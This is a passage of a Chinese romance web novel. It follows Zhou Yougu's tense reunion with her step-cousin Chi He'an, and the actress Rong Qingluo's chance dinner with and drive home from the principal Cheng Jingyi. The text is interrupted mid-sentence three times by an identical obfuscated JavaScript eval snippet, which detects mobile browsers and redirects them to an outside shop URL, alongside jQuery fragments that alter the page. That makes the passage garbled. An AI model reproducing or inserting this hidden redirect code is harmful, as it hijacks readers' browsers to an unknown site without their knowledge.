于是周佑谷和三人道别，转身走进单元楼。 *** 说是回家，其实这里严格说起来，不完全算是她的家。 周佑谷苦笑，眼里罕见地溢出些许落寞。 她站在家门口，却并不着急开门，而是在一片昏暗之中发呆。 这个世上，哪里又是她真正的家呢？ 这时，在这一片寂静之中，周佑谷的身后响起一道男声：“怎么不开门？” 声控灯随之亮起。 这让周佑谷惊出一身冷汗。 太大意了，她竟然没注意到这层楼的楼道里还有其他人的存在。 她抱紧手里的西瓜，准备待会儿找时机将西瓜砸那人一脸，然后趁机逃跑。 她战战兢兢地转身，没想到却瞧见一张剑眉星目的脸。 帅气。 熟悉。 却讨厌。 周佑谷冷下脸，凉凉道：“你怎么会在这里？” 池和安笑得温和：“我才放暑假回来，听朱叔说你来青山镇之后遇上事了，所以赶过来看看，不知道有没有能为你效劳的。” “你们池家的司机都这么嘴碎的吗？”周佑谷冷哼道，“我一个拖油瓶，可不敢劳您池大少爷的大驾。” 池和安无奈道：“小谷，这都是多少年以前的事了。我们小谷美丽大方，大人有大量，你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586979|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原谅和安哥哥以前年少无知、口无遮拦行吗？” 周佑谷和妈妈刚到池家时，还在读小学。 那时候她刚和爸爸与妹妹分开，从小地方去到省会云市，她一副怯懦无依的模样，就这样惹了池和安的眼，天天被他喊“拖油瓶”、被他捉弄，两个人一直不对付。 周佑谷其实从来都想不明白，池叔叔的亲儿子池和磊都对她没什么意见，池和安作为池叔叔的侄子，撑死被她喊一句堂哥，怎么就这么看她不顺眼呢？ 不过也不知道什么时候，池和安好像就突然转了性子，不再对她恶语相向。 周佑谷猜测，可能是因为池和安如今已经读大学了，作为一个成年人，他终于不像原来那么幼稚。 但是以前的记忆太过深刻，她实在是难以对池和安有什么好脸色。 所以周佑谷此时并不答话，只是将脸转向一边，冷漠地看着空旷的楼道。 池和安也不强求，他走近周佑谷，从周佑谷手里接过西瓜：“这么重，你怎么一直抱着？我来拿吧。” 周佑谷才不想给池和安呢，但是池和安手劲儿大，轻巧地就把西瓜拿了过去，她只好恶狠狠道：“你爱拿就一直拿着吧。” 然后两人就在这里这样干站着。 周佑谷在赌气，而池和安是在等周佑谷消气。 过了半晌，池和安挑眉：“小谷你不请我进去坐坐吗？我怎么说也是你哥哥呢。” 见周佑谷没有反应，他叹道：“唉，我今天来之前，听二叔母说医院好像有什么事情……” 周佑谷看向他，见他不继续说下去，只得问道：“我妈说了什么？” 池和安可怜兮兮道：“小谷，你先让我进去坐下来歇一歇嘛，我匆匆忙忙地赶了一天路过来，人生地不熟的，按着地址找到这里却发现你不在，只能坐在这儿等你，我还没吃晚饭呢……” 周佑谷这才借着楼道的灯光细细地打量池和安，这仔细一看倒让她吃了一惊。 池和安鲜少有现在这般风尘仆仆的模样，虽然还是一如既往得仪表堂堂，却到底没有往常神采奕奕，能叫人看出他眼底的血丝和疲惫。 周佑谷不由有些心软，但是她又不想承认。 她想着坚决不能在池和安面前有好脸色，便嘴硬道：“谁让你自己要跟来的，自己来找苦头吃，怪谁？” 不过池和安的面色确实是不太好看，周佑谷在心里劝说自己：要是池和安在这里出事了，池叔叔和池大伯肯定都心里有想法，到时候反而让妈妈夹在中间难做，算了，她今天就做个好人，退一步吧。 这样想着，周佑谷便从包里拿出钥匙，打开家门：“你进来坐下休息一会儿吧。” 池和安坐在沙发上喝水，周佑谷在厨房准备切容老师送的西瓜。 她拿着刀正比划呢，池和安从身后将刀轻巧地拿了过去。 周佑谷扭头，不悦道：“你不坐在那儿休息，到这儿捣乱做什么？” 池和安神色淡淡道：“你一个小姑娘，拿刀多不安全，我来切。你边上玩去。” “小姑娘？池和安，你看不起谁呢？”周佑谷一点就炸，她叉腰道，“我今天可是力战群雄，和我妹的一个朋友一起过五关斩六将，成功对抗一大群要找我妹麻烦的人。” 周佑谷本以为池和安又要和她斗嘴，没想到他听了这话后倒是很平静，只是转过头来定定地将她上下打量了一番，像是在确认着什么，然后又转回头去专心地切起西瓜。 只是，周佑谷总觉得池和安不是在切西瓜，那刀法，又快又准又狠，倒像是在泄愤。 周佑谷摸摸胳膊，不知道为什么，总觉得有点冷。 半晌，她反应过来，大声抗议道：“池和安，你刚刚在看什么？你是觉得我在吹牛吗！” 池和安压根没扭头看她，只是闲闲道：“哪敢呀，我只是觉得当初建议二叔母同意你跟我一起去学武术是很有先见之明的。你今天就受益了，我很欣慰。” 周佑谷回想起被池和安胁迫着去练武术的那段时光，撇嘴道：“我那是为了反抗你的压迫。正所谓弱国无外交，人弱就没有话语权。” 她越想越觉得有道理，指着池和安控诉道：“你看，等我武力值提高之后你就不再欺负我了。池和安，你果然欺软怕硬。” 池和安失笑：“你要这么想也行。” 周佑谷冷哼一声：“你是被我说中了，哑口无言吧？” 池和安：“小谷，今天你没吃亏吧？” “没有。”周佑谷偏头，问道，“所以今天到底是什么风把你吹来了？” 突然想到最坏的可能，周佑谷焦急道：“是我爸爸和妹妹出什么事了吗？” “坐下来慢慢说吧。”池和安安抚地笑笑，将切好的西瓜装盘，端到客厅的茶几上，待两人在沙发上坐定后，才道，“你别忧心，听二叔母说，今天已经将周叔叔和佑雨妹妹从西华市人民医院转到省会云市的第一医院了，二叔母还请了护工在医院专门照顾两个人。” 有妈妈在，她当然放心，但是…… 周佑谷皱眉道：“连你都知道了，池叔叔肯定也知道这件事了。” 池和安好笑道：“你现在才想起这件事？” 见周佑谷一脸做错事的表情，他道：“没事的，就算二叔知道也没什么的。这些年二叔和二叔母伉俪情深。虽然他不是你的亲生父亲，但是他也将你看作亲生的一般对待，甚至对你比对和磊那小子还和颜悦色一些。所以他当然可以理解你一个小姑娘遇见自己亲生父亲和亲妹妹出事后的焦急心情。你这么小，只能向大人求助。他不会因为这件事对二叔母有芥蒂的。” 看周佑谷还是很自责的样子，池和安道：“你放心吧，还有我呢，怎么着你也不会被扫地出门的。” 周佑谷瞪了池和安一眼：“我谢谢你。” 她拿起一块西瓜递给池和安：“池大少爷，快吃吧。” 池和安：“说起来，你每次放假都要来看周叔叔和佑雨妹妹，你和他们感情真好。” 周佑谷：“那当然，虽然爸爸妈妈不在一起了，但是爸爸和妹妹始终都是我的爸爸和妹妹，我会想他们的。” 她握紧拳头：“所以我一定要为他们讨一个公道。” 池和安：“你放心，我会帮你的。” 周佑谷：“你要是这样，我还真是对你刮目相看。” 池和安：“让你改观可真不容易。” 周佑谷没好气道：“每个人都应该为自己曾经犯下的错误负责。” 池和安好脾气道：“是，是，我认错，我道歉。” 周佑谷站起来，走到一扇房门前说道：“这里比不了池家，大少爷你今晚将就一下吧。我每次来都是和妹妹睡一间屋子。这是书房，里面有张床，你今晚就睡这儿吧。” 池和安点头：“可以，哪里就那么娇气了。” 138. 江湖夜雨 另一边，容清洛和吴焕晗一起把吕正言送回家。 老街这一片的小区和街市之间界限并不分明，小商铺、小饭馆到处开在居民楼的一层，街上的人形形色色，有纳凉摇扇的大爷，有疯跑玩闹的孩童，有在路边摊吃得开心的男男女女，也有行色匆匆的中年人。 “松雅路。”容清洛跟着吕正言拐进一条路，瞧见路牌，笑道，“这取名还取得挺有文化。” 吕正言介绍道：“容老师，听我外婆说，最早的时候，青山镇的小学初中都在这儿附近，周围都住的是上山下乡的文化人，所以起的名字都很雅致。” 吴焕晗讶异：“原来有这么一段故事。” 吕正言走到一栋楼下，停下脚步：“吴老师，容老师，谢谢你们。你们走了这么久，想必也累了，要不到我家坐一会儿休息一下，顺便把容老师给的这个西瓜吃掉解解暑？” 容清洛还没来得及说什么，只听见吴焕晗的电话突然响起。 吴焕晗抱歉地笑笑：“不好意思，我先接个电话。” 容清洛还没吃晚饭，此时确实有点累了，不过想着再累也不能到学生家里蹭吃蹭喝吧，所以她笑着道：“正言，谢谢你的心意，不过你看，我和吴老师还有点事情要忙，所以今天就不上去叨扰了，你早点回家好好整理一下心情，千万不要被今天的事情所影响。” 吴焕晗接完电话回来，听见容清洛的话，也跟着补充道：“是的正言，你千万要调整好心态，不要被这件事影响到才是。还是那句话，这件事情如果你们不能解决，就不要逞强，来找我，我会帮你们想办法的。即便我没有能力解决，还有学校呢。” 吕正言乖巧点头：“吴老师谢谢您。” 吴焕晗：“去吧。” 见吕正言上楼，容清洛和吴焕晗转身离开。 容清洛：“焕焕，刚刚是有什么事情吗？我看你脸色不太好。” 吴焕晗：“家庭内部矛盾，我老娘和我弟又因为结婚找对象的事吵起来了。我弟刚刚打来求助电话。” “洛洛，真的很抱歉，今晚我不能陪你吃饭了，我得回去打电话当和事佬。” 容清洛叹口气，拍拍吴焕晗的肩膀：“开心一些，别太愁眉苦脸。你就是太要强，所以谁的心的都要操，他们也就都靠着你。” 吴焕晗无奈：“我也不想管，可是毕竟血浓于水，剪不断理还乱的。” 容清洛：“你赶紧回去吧，别让焕时和阿姨等急了。” 吴焕晗：“你不走吗？” 容清洛：“我还想再在这边逛一逛，看看能不能找个合眼缘的小饭馆吃点东西。” 吴焕晗有些不放心：“已经八点半了，太晚的话你怎么回去呀？” 容清洛：“放心，我待会儿打个的，打不到的士就坐公交，我又不是多娇气的人，这么大个人了，还回不去吗？” 吴焕晗好笑道：“你好歹是个大明星，能不能有点偶像包袱，注意一下形象？这样，我估计你回的时候我这边也处理的差不多了，到时候你给我打个电话，我找节目组借车来接你。” 容清洛：“也行。” 两人分别后，容清洛沿着松雅路闲逛，在拐角处看见一家小餐馆叫“归客”。 和老街这一片直白可爱的餐馆名字相比，这个名字未免显得有些格格不入。 不过，倒是和“松雅路”这个名字有些相得益彰的默契。 容清洛拨开门帘走进去。 地方不大，倒是五脏俱全。 一位老奶奶系着围裙，正从吧台后走出，端着托盘给门口坐着的两个人上菜。 她虽然已经头发花白，但是风姿绰约，能看出她年轻时肯定长得很美。 只见她手捧着托盘，四平八稳，丝毫不抖，唇边挂着的笑容让容清洛品出一丝优雅的意味。 和刚刚在路上遇到的人都不太一样。 和容清洛以往碰见的人也都不太一样。 容清洛挑眉，心想：怪不得人们常说，读万卷书不如行万里路，行万里路不如阅人无数。她本以为自己这小半辈子跌宕起伏，算是已经见过形形色色的人，没想到竟在青山镇这样偏远的山区，见到和这位老奶奶一般令人耳目一新的人。 吕奶奶上好菜后见戴着口罩的容清洛站在吧台前仰头看着墙上贴的菜单，笑眯眯地问道：“姑娘，想吃点什么？” 其实已经比较晚了，明天还要上镜，这种时候容清洛一般都是不进食的，只是她感觉这会有点晕，急需补充一些能量，所以道：“来一份酸汤鱼，再来份竹筒饭。” 说完，她走到最里面的一张桌子旁，背对着大门坐下。 吕奶奶端来一杯茶水：“姑娘你坐着喝口茶，稍等片刻。” 容清洛点头道谢，然后便见这位老奶奶到吧台后忙碌起来。 所以这家店只有这位老奶奶一个人吗？ 容清洛心里猜想着，这家店面积不大，无论是店名还是店主都和这个地方的风格格格不入，估计客流量也不会太大吧，如此，那么一个人也许能忙得过来。 百无聊赖之际，容清洛戴上耳机，点开手机里的舞蹈视频，准备再复习一下明天预备要教学生们跳的舞。 *** 傍晚才飘过绵绵细雨，这时候乌云反而退散，露出一弯悄然爬上树梢的新月。 清月银辉汇同路灯的光亮一起为夜归的人照亮回家的路。 程景逸从学校回到家时已经八点四十左右，打开冰箱，空空如也。 他走进卧室，再出来已是一身黑色的休闲装，宽松的黑色短袖配上五分裤，临出门戴上黑框眼镜和棒球帽，走在街上，比路边的大爷还要悠闲。 程景逸同往常一样走进吕奶奶开的归客，这个点吃饭的人并不多。 门口一桌是两个中年男人在喝闷酒，最靠里面那一桌是个年轻姑娘，不过那姑娘背对着外面，他看不见脸。 程景逸一路径直走到吧台前，和正在往锅里放调料的吕奶奶打招呼：“吕奶奶晚上好。” 吕奶奶回头，笑得慈祥：“程校长，是您呀。又工作到这么晚才回来。再忙，也得注意身体。” 程景逸：“您说的是，我也在慢慢调整生活习惯。您看我前段时间晚饭都吃的挺早，今天是特殊情况。我还是老样子，打包带走。” 吕奶奶将容清洛点的酸汤鱼准备好，放在吧台上，然后一边转身去拿竹筒饭，一边对程景逸说道：“好，你稍等，给那桌那个小姑娘上好菜后就给你准备。” 程景逸便道：“这个就是？我帮您端过去。” 之前程景逸来的时候，偶尔也会搭把手，吕奶奶便点头：“辛苦你了，小心烫。” 程景逸端着托盘走近角落里那桌，因为汤比较满而且很烫，所以程景逸一直小心谨慎地低头关注着手里的汤，并没有抬头看。 他一面将汤盆放于桌上，一面说道：“您好，这是您点的酸汤鱼，请慢……”嘴里的话未说完，抬头竟发现坐在这儿的人如此面熟。 “容姐？” 虽然容清洛戴着口罩，但是白天两人才见过，这双眼睛，他印象很深刻。 容清洛万万没想到竟然今晚真得能在老街偶遇程景逸。 她摘下口罩，打趣道：“程景逸，你在这儿兼职吗？” 程景逸也不解释：“是呀，打工人嘛。” 容清洛：“你还不如来给我当助理，我给的价钱绝对更优厚哦。” 这时，吕奶奶端着竹筒饭走过来，她恰好听到了两人的一点对话，便道：“姑娘，原来你和程校长认识，待会儿奶奶给你打八折。” 容清洛：“谢谢您。程景逸的光我可一定要沾。” “不客气。”吕奶奶放下餐盘，她笑着解释道：“姑娘，刚刚程校长和你开玩笑呢，我这里是小店，程校长要是在这儿给我打工那可真是太过屈才。程校长也是来吃饭呢，他心善，见我忙不过来时都会搭把手。” 容清洛大量程景逸一眼：“是吗？程校长可真是乐于助人。” “可不是嘛。”吕奶奶表示赞同，又道，“程校长还是我外孙的老师，他真是没少帮我们祖孙俩的忙，我可感谢他了，程校长是真的人很好。” 容清洛煞有介事地跟着点头道：“我也这样觉得，他人真的很不错。” 程景逸有些无奈：“二位女士可别再夸我了，不过是举手之劳罢了，过奖，过奖。” 吕奶奶：“行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586980|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，奶奶不说了。程校长，那我去给你准备饭菜，你坐着稍等片刻。” “辛苦吕奶奶了。”程景逸看着容清洛面前的汤和饭，又补充道，“吕奶奶，我的饭不打包了，我也在这儿吃。” 吕奶奶了然道：“没问题，你和这姑娘坐一桌对吧？” “对。”程景逸点头，又道，“再加一份羊肉汤。” 吕奶奶转身去准备饭菜。 程景逸跟着她去吧台那里又拿了一套餐具，顺便趁容清洛没注意这边把账一起结了。 吕奶奶打趣道：“程校长，这姑娘长得真俊，气质也好，和你站在一起真是郎才女貌。” 程景逸知道老人家是开玩笑，便也笑得温和：“吕奶奶，我们是朋友。” 吕奶奶眨眨眼：“现在是朋友，以后可不一定。” 程景逸突然就想起今天午后容清洛在食堂外说的那些话。 「你有没有想过，天底下有那么多学校需要捐款，我为什么偏偏选中你所在的学校，偏偏要当校长程景逸的恩人呢？」 「我的问题，请作为个体的程景逸多想一想。”」 程景逸之前没有细想，这会儿经吕奶奶一点拨，深刻地思索之下，方向却完全跑偏。 他隐约记得，前几年有一次过年的时候，听大哥提起过好像有意成立一家影视公司？ 世界上没有无缘无故的爱，没有无缘无故的恨，当然也没有无缘无故的另眼相看。 容清洛是娱乐圈的人，也许她是想借自己搭上他哥哥的线？ 可她又是从哪里知道自己是程景凌的弟弟的呢？ 程景逸面色如常地回到座位上。 “程景逸，”她笑靥如花，一边盛汤，一边道，“今天可真是巧，我们不仅有一起吃午饭的缘分，还有一起吃晚饭的机缘。更重要的是，这都不是提前约好的。” 说完，她将汤放在程景逸面前：“看来是老天让我回请你一顿饭。” “确实还挺巧的。”程景逸笑得温和，“正所谓相请不如偶遇，如此想来，我们两个确实还挺有缘分。” 转眼又问道：“不过我是因为就住在这附近，容姐你又怎么会跑到这边来吃饭？这儿离学校还是有一点距离的。” “这个就说来话长了。”容清洛轻咳一声，喝一口汤，掩饰尴尬。 虽然初心有些不纯，但后来她确实只是路见不平拔刀相助，救下程景逸的两个学生后，送佛送到西，然后因为太疲惫，不得不找个地方吃东西、补充能量。 没想到她随便走进的一家小店，程景逸竟然是这里的常客。 程景逸也为容清洛盛好一碗汤，放在她面前，老神在在道：“那容姐你喝口汤，慢慢说。” 毕竟答应了孩子们要为他们暂时保密，容清洛便挑着能说的简单概括一番：“简而言之就是我想逛逛青山镇，体验一下当地风土人情，然后日行一善，阴差阳错走到这里，太累了，便坐下歇歇脚、吃点东西。” 程景逸：“原来如此。” 容清洛正想着怎么把这个话题混过去，这时候，吕奶奶端着托盘走过来，她连忙起身帮着吕奶奶把菜一个一个摆在桌上。程景逸也搭把手帮忙。 吕奶奶道：“程校长，姑娘，你们的菜都上齐了，慢慢享用。” 两人道谢后，便正式开动。 容清洛吃得少，补充能量后慢慢地已经缓过劲来，便不再进食。 她只是端着一碗汤小口地缓缓饮着。 羊肉汤咕噜咕噜地冒着热气。 隔着热气熏染出的淡淡白烟，容清洛的目光隐晦地落在程景逸的脸上。 中午在正宁中学食堂吃饭的时候，周围人多眼杂，她不好表现得太过明显。 所以今晚在这个街角的小餐馆里，好像是重逢以来她第一次有机会这样近距离地细细打量程景逸。 他应该是回过家一趟，换了身和白天在学校时完全不一样的衣服，一身黑衣，休闲简单，干净清爽。 黑框眼镜和棒球棒取下来放在一旁。 突然就让容清洛想起年少时的程景逸。 那时候，程景逸也总喜欢穿着一身黑，带着护目镜和棒球帽，神采英拔，张扬热忱。 139. 江湖夜雨 许是对面投过来的目光太过明显，让人无法忽略。 程景逸抬头，似笑非笑地将眼神轻飘飘地落在容清洛的脸上。 他开口，语气倒是平淡：“清洛，你怎么不吃了？” 容清洛这才从回忆中回神。 她已经多久没有追念过往昔？ 以前是因为要前进，无暇将精力浪费在过去的时光中。 而今大仇得报，她终于可以放缓脚步。 但她始终不快乐。 她以为是自己心中仍然对过去耿耿于怀。 毕竟受到的伤害已经造成，即便后来的荣耀再多，也难以抚平昔日苦痛。 所以除非在拍戏时必须要找情绪的时候，大部分时间，她并不会主动回望过去。 因为学生时代的事情于她而言，除了伤痛还是伤痛，并不值得追思。 容清洛低头喝汤，掩去眼里一瞬间抑制不住的哀伤。 很快调整好情绪，她站起来走到吧台那里：“吕奶奶，来两瓶啤酒，顺便把我和程校长的账结了。” 吕奶奶拿出两瓶啤酒和两个酒杯放在餐盘上，递给面前这位靓丽的姑娘，笑得慈祥：“程校长已经把你们的单一起买了，酒算奶奶我请你们的，姑娘以后常和程校长一起来吃饭。” 容清洛不喜欢欠别人的。 虽然老人家一番盛情，容清洛仍是坚持拿出手机扫描付款二维码，按照市价付了酒钱。 至于程景逸又请她吃饭这件事，她似乎下意识就忽略掉了。 见到容清洛端了两瓶酒回来，程景逸不免露出讶异。 容清洛只是笑：“你吃吧，我吃不下了，陪你喝点酒。” 说着将其中一瓶酒和一个酒杯摆在程景逸面前。 程景逸没有动。 容清洛没有理他，默默地将酒倒入酒杯，一口闷下。 今时不同往日，这十来年里她孤身一人经历了太多，她已经不是从前的那个她。 所以即便两人就坐在这张桌子的两端，距离近得足够让她看见程景逸抬手将酒瓶放在一旁时小臂上露出的一道浅浅疤痕，她依然觉得两个人之间隔得很远。 容清洛又想起几年前在清静观遇见的那个老道。 那老道的话她一直记得很清楚，回去还记在了手机的备忘录里。 「山海隔万里，有缘自相逢。」 「无缘对面走，咫尺成天涯。」 「花开花又落，因果循复循。」 「姻缘一线牵，相逢可识君。」 她和程景逸之间隔着的不仅是山与海这样空间的距离，还有这十多年的时光以及人事。 朱颜已改，面目全非，她也没有像当初和他说的那样成为老师，反而一脚踏入娱乐圈这种繁华地、名利场，做了一些也许他并不会喜欢的事情。 清静观可求清净。 在那里，她问了一个问题，得到一个答案。 「红尘纷扰，人沉浮于苦海，汲汲营营，应该如何脱困，如何才能不再沉湎于昔日苦痛，求得清静？」 「遣欲澄心，觉察念头，去掉妄想，放下贪求，无执无念，可得清静。」 然后她便在清静山重逢了程景逸，种下了为他和他的学校数掷千金的前因，如今也算是结出了一点善果，让她有生之年能因为拍摄综艺这个契机和程景逸一起吃饭聊天，度过这个盛夏。 尽管程景逸已经认不出她，但是她觉得这样也挺好。 哪怕拍完综艺之后，二人会重新成为陌路，各自沿着各自的人生轨迹按部就班地走下去，就像是两条线短暂地相交之后，便会渐行渐远。 似乎老天让两人重逢，就是为了让她看到，她曾经为自己选择的道路，她没有走上，但是程景逸替她实现了梦想。 容清洛从心底生出一种欣慰。 花开花落了几个春夏，因果循环往复了几个轮回，她突然明白，自己一直无法释怀的，是命运让她走向了和自己内心的向往完全不符的另一条道路。 但是有一个人，默默地替她完成了年少梦想。 容清洛重新将杯中酒添满，又为程景逸倒酒，端起酒杯道：“程景逸，我敬你。” 敬曾经年少时喜欢行侠仗义的你。 敬现在坚定地成为教师的你。 也敬虽然放弃梦想但暂时还没有放弃生命的自己。 程景逸：“清洛，我明天还要去学校，所以就不喝酒了。” “可惜了，那我替你喝吧。”容清洛伸手越过桌面抄起程景逸面前的酒杯，一仰而尽。 几杯酒下肚，冷不丁瞧见对面之人幽幽的脸色，容清洛扬眉道：“放心，我酒量很好，区区两瓶啤酒，和饮料没什么区别，不会耽误明天上课的。” 程景逸叹口气：“你酒量倒是好。” 容清洛：“对呀，很少有人能喝过我。”神色间闪过一抹得意。 两瓶酒很快被容清洛一人喝尽。 见容清洛喝好，程景逸才放下手中筷子，询问道：“走吗？” 容清洛点头：“好呀。”说着便起身往外走。 程景逸看着被遗落在桌边的手包，认命地拿起来，和吕奶奶打了个招呼后，便快步去追容清洛。 不知道为什么，容清洛走得很慢。 程景逸本来以为容清洛喝醉了，想去扶她。 等程景逸走近，才发现容清洛走这么慢是在听人聊天。 门口这桌的两个中年男人一直在喝酒。 容清洛觉得两人说话有趣，便走得慢些，一边等程景逸，一边听人侃大山。 “我前段时间太忙了，这周有点空，咱俩去网鱼？” “我可不敢去了。” “你之前不是经常去吗，怎么，跟我还要保持神秘？” “你不知道，我上周在河里捞出……” 那人声音突然低下去，容清洛什么都听不到，不免有些遗憾。 到底捞出了什么呢？ 容清洛正在心里猜测着，听到旁边人的轻笑声：“原来你还喜欢听墙角。” 她不满地看过去，低声道：“你不好奇吗？” 程景逸将包塞进容清洛手里，然后戴上帽子，冷冽的眉眼染上几分笑意。 他摇摇头，为容清洛挑起门帘，待两人完全走出餐馆后，才道：“我不好奇。” 容清洛挑眉：“好吧。管他呢，在河里能捞出什么，总之都是水产品，总不能捞出大活人来吧。” “你想象力还挺丰富。”程景逸观察着容清洛的面容，发现她确实没有醉意，不过想到容清洛喝了几瓶酒，他仍然有些不放心，问道，“清洛，你怎么来的？” 容清洛指着路边的一排共享单车：“我骑单车过来的，不过也走了一段距离。” 程景逸点开手机：“现在快十点钟了，你一个人回去不太安全，我送你回学校吧。” 容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586981|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洛停下脚步：“你怎么送？” 程景逸：“我住的离这里很近，你可以在这里等我一会儿，我把车开过来，送你回去。” 容清洛笑：“程景逸，你刚还怕我一个人骑车不安全，现在倒放心让我一个人在这里等着了？” 程景逸：“那你跟我一起？” 容清洛：“再好不过了。” 两人沿着街道往前走。 当拐进松雅路的时候，容清洛就觉得有些不太对劲。 而当容清洛看着越来越熟悉的道路，心里的不可思议在程景逸停在一栋单元楼前时的这一刻达到顶峰，她问道：“这不是吕正言家吗？” 程景逸讶异道：“你认识吕正言？” 容清洛有些心虚。 才答应了两个孩子要替他们保密，这怎么说呢？ 她含糊道：“嗯，今天刚认识。” 好在程景逸也没有多问，他只是道：“你还记得刚刚那家餐馆的老奶奶姓什么吗？” “姓吕。”容清洛，“和吕正言一个姓？” 程景逸点头：“吕奶奶是吕正言的外婆。她们就住我家对门。” 容清洛：“这么巧。” 程景逸：“我上去拿车钥匙，你等我一会儿。” 容清洛点头，没有多说什么，但是心里已经炸开了锅。 今天如果再巧一点，送吕正言回来时说不定就能碰见程景逸呢。 容清洛抱着自己的包盯着路边的花坛傻笑。 待终于坐上程景逸的副驾，容清洛发现后视镜上挂着一个小小的葫芦，越看越觉得眼熟：“程景逸，这是我之前给你的那个吗？” 程景逸正在开车，他瞥见容清洛指着的葫芦挂件，回忆半晌，想起她指的是之前两人在清静山相遇的那次，临走时她给的谢礼。 他不由得失笑道：“好像还真是的，之前的挂件坏了，刚好那天你给我了这个，我就直接挂上了。” 听了这话，容清洛不知道为什么，心情雀跃起来。 她送的挂件陪了程景逸好几年，四舍五入就是她保护了程景逸的行车安全好几年。 容清洛兴致勃勃：“我记得你那个同学是姓裴对吧，那个小裴同学还有裴奶奶后来怎么样了？” 程景逸沉吟道：“嗯，他叫裴万川。万川那会儿已经是高三下学期了，后来他考上了省会云市的一所大学，现在读大三。我前段时间还碰见过他，他准备毕业的时候考回西华市，然后把裴奶奶接到市里面……” 这时容清洛的电话响起，是吴焕晗：“洛洛，我这边结束了，你吃好了吗，我找车过去接你？” 容清洛的目光略过旁边专心开车的程景逸，说道：“没事，不用了，我刚好碰见程校长，他正开车送我回学校呢。” 吴焕晗猜到程景逸可能就在容清洛身边，她便没有多说，就是言语间透露出一些小兴奋：“是嘛，那你回去安顿好咱俩再聊哈。” 挂掉电话，容清洛主动和程景逸解释道：“是吴焕晗老师给我打电话，今天晚上就是吴老师带我在青山镇到处逛逛的，不过她中途有点急事，就先回去了，刚刚忙完想要来接我呢。” 程景逸微微眯起眼来，看似平常地问道：“清洛，我还挺好奇的，你和吴老师的职业完全不相同，看起来也不像是有交集的人，你们是怎么认识的呀，关系还这么好？” 听到程景逸有此一问，容清洛脑中的雷达迅速响起。 140. 江湖夜雨 容清洛飞快地向程景逸的面上瞥了一眼。 程景逸正专注地盯着夜色中的道路，面庞上挂着浅浅的温润笑意，似乎只是纯粹的好奇。 容清洛挑眉，她换了个姿势，勾起唇角看向前方，镇定道：“你不知道吧，吴老师化妆水平可是一绝。那会很早了，吴老师还在读大学呢，我也还是个小透明。我和吴老师是网友，一起研究化妆技术，后来线下见面，觉得还挺聊得来的，我还没出名的时候常常请她给我化妆，就这么慢慢成为闺蜜的。” 程景逸感慨：“原来你们认识这么久了。” “是呀，是真的很久了。”容清洛赞同道。 她盯着路边向后倒退的路灯，在心里默默道，程景逸，其实我认识你和认识焕焕一样久。 程景逸见容清洛沉默，一面注视着前方道路，一面笑道：“你知道吗，我和吴老师竟然是老乡。” 容清洛心中警铃大作。 程景逸今天有点奇怪，他是故意在试探她吗？ 尽管心里思绪万千，容清洛面上却不动声色，笑道：“是吗，这么巧啊。” 程景逸：“确实很巧，其实我也是今年吴老师入职我们学校的时候才知道的。” “这样啊，”容清洛问道，“程景逸，你是哪里人？” 程景逸：“和吴老师是一个地方，江省南庐市。” 容清洛的笑容里别有深意：“你竟然也是南庐市的吗？这可真是巧。” “清洛，我看百科上写着你也是江省人？”程景逸回忆道，“好像是宁川市的？” 容清洛面不改色心不跳：“是。” “都是江省人，那咱们也算是老乡了，”程景逸，“你有去过南庐市吗？” 容清洛：“还没有呢，挺可惜的，我一直想去看看呢。” 程景逸：“如果哪天你想去南庐的话，可以告诉我，我给你当导游，尽一尽地主之谊。” 两人闲聊一阵，汽车很快稳稳停在正宁中学门口。 “谢谢你今天送我回来，时间不早了，你也早点回去休息吧。”说着，容清洛打开车门下车。 程景逸降下容清洛这个方向的车窗，对着站在路边的容清洛说道：“客气了，你进去吧，我看你走进去再走。” “好。”容清洛给保安出示了为综艺嘉宾特制的校园卡，然后走进学校大门，扭头回望，发现程景逸的车还停在路边。 两人的视线交汇，程景逸瞧见容清洛举起右手超大幅度地挥舞。 程景逸不由得勾起嘴角轻笑出声。 看来今天晚上容清洛还挺开心。 程景逸也挥挥手，然后一踩油门，将车开走了。 *** 花开两朵，各表一枝。 另一边，张静思在看见表哥他们去追赶周佑雨和吕正言的时候，就和李茹梦离开，各自回家了。 张静思快八点才到家。 吃过饭后，张静思的母亲潘珍道：“昨天你舅妈还在和我说呢，源源和鸿鸿最近每天都回家很晚，羡慕我有你这么一个听话的小棉袄。结果你今天也回来这么晚。唉，孩子大了，一个一个也不知道成天在忙些什么……” 